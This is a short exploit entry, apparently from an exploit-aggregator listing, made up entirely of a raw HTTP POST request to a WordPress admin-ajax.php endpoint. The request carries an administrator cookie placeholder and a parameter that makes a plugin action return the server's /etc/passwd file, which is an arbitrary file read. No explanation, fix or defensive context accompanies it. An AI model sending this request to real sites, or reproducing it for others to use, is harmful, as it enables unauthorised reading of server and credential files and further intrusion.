## https://sploitus.com/exploit?id=WPEX-ID:FAECA3AD-CC25-4742-BB3F-63E767CD31E4
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 93
Connection: close
Cookie: [admin]
action=get_ajax_response&haxfile=/etc/passwd&_action_request=get_haxfile